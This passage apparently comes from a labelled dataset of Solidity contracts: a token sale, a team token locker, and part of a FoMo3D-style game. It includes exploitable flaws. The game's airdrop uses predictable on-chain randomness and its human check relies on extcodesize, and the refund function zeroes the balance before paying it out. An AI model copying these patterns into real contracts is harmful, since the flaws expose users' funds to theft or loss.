function burnUnsold() public onlyOwner afterEnd {
uint256 unsold = token.balanceOf(address(this));
token.burn(unsold);
}
function changeStartTime(uint256 _startTime) public onlyOwner {
salePeriod.start = _startTime;
}
function changeEndTime(uint256 _endTime) public onlyOwner {
salePeriod.end = _endTime;
}
function tokenFallback(address _from, uint256 _value, bytes _data) public {
if (msg.sender != address(token)) {
revert();
}
if (_from != owner) {
revert();
}
}
function withdrawFunds() public afterEnd {
if (msg.sender == owner) {
require(totalSold >= softCap);
Beneficiary memory beneficiary = beneficiaries[0];
beneficiary.wallet.transfer(address(this).balance);
} else {
require(totalSold < softCap);
require(buyers[msg.sender] > 0);
buyers[msg.sender] = 0;
msg.sender.transfer(buyers[msg.sender]);
}
}
function allocateFunds() internal {
if (totalSold < softCap) {
return;
}
uint256 balance = address(this).balance - 5000 ether;
uint length = beneficiaries.length;
uint256 toTransfer = 0;
for (uint i = 1; i < length; i++) {
Beneficiary storage beneficiary = beneficiaries[i];
toTransfer = beneficiary.toTransfer.subtract(beneficiary.transferred);
if (toTransfer > 0) {
if (toTransfer > balance) {
toTransfer = balance;
}
beneficiary.wallet.transfer(toTransfer);
beneficiary.transferred = beneficiary.transferred.add(toTransfer);
break;
}
}
}
function addBeneficiary(address _wallet, uint256 _toTransfer) internal {
beneficiaries.push(Beneficiary({
wallet: _wallet,
transferred: 0,
toTransfer: _toTransfer
}));
}
function calculateReward(uint256 _sold, uint256 _purchased) internal pure returns (uint256) {
uint256 reward = 0;
uint256 step = 0;
uint256 firstPart = 0;
uint256 nextPart = 0;
for (uint8 i = 1; i <= 4; i++) {
step = 5000000e2 * i;
if (_sold < step) {
if (_purchased.add(_sold) > step) {
nextPart = _purchased.add(_sold).subtract(step);
firstPart = _purchased.subtract(nextPart);
reward = reward.add(nextPart.multiply(20 - 5*i).divide(100));
} else {
firstPart = _purchased;
}
reward = reward.add(firstPart.multiply(20 - 5*(i - 1)).divide(100));
break;
}
}
return reward;
}
} | 0 |
pragma solidity ^0.4.23;
contract Ownerable {
modifier onlyOwner { require(msg.sender == owner); _; }
address public owner;
constructor() public { owner = msg.sender;}
function setOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
}
pragma solidity ^0.4.23;
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
pragma solidity ^0.4.18;
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.4.18;
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
pragma solidity ^0.4.23;
contract TeamLocker is Ownerable, SafeMath {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address[] public beneficiaries;
uint256 public baiastm;
uint256 public releasedAmt;
constructor (address _token, address[] _beneficiaries, uint256 _baias) {
require(_token != 0x00);
require(_baias != 0x00);
for (uint i = 0; i < _beneficiaries.length; i++) {
require(_beneficiaries[i] != 0x00);
}
token = ERC20Basic(_token);
beneficiaries = _beneficiaries;
baiastm = _baias;
}
function release() public {
require(beneficiaries.length != 0x0);
uint256 balance = token.balanceOf(address(this));
uint256 total = add(balance, releasedAmt);
uint256 lockTime1 = add(baiastm, 183 days);
uint256 lockTime2 = add(baiastm, 365 days);
uint256 lockTime3 = add(baiastm, 548 days);
uint256 currentRatio = 0;
if (now >= lockTime1) {
currentRatio = 20;
}
if (now >= lockTime2) {
currentRatio = 50;
}
if (now >= lockTime3) {
currentRatio = 100;
}
require(currentRatio > 0);
uint256 totalReleaseAmt = div(mul(total, currentRatio), 100);
uint256 grantAmt = sub(totalReleaseAmt, releasedAmt);
require(grantAmt > 0);
releasedAmt = add(releasedAmt, grantAmt);
uint256 grantAmountForEach = div(grantAmt, beneficiaries.length);
for (uint i = 0; i < beneficiaries.length; i++) {
token.safeTransfer(beneficiaries[i], grantAmountForEach);
}
}
function setBaias(uint256 _baias) public onlyOwner {
require(_baias != 0x00);
baiastm = _baias;
}
function setToken(address newToken) public onlyOwner {
require(newToken != 0x00);
token = ERC20Basic(newToken);
}
function getBeneficiaryCount() public view returns(uint256) {
return beneficiaries.length;
}
function setBeneficiary(uint256 _i, address _addr) public onlyOwner {
require(_i < beneficiaries.length);
beneficiaries[_i] = _addr;
}
} | 0 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3Dshort is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xF6b8836492f8332D17B1496828d2bEE71ad511DA);
address private admin = msg.sender;
string constant public name = "FomoFast";
string constant public symbol = "FAST";
uint256 private rndExtra_ = 10 minutes;
uint256 private rndGap_ = 10 minutes;
uint256 constant private rndInit_ = 10 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 10 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
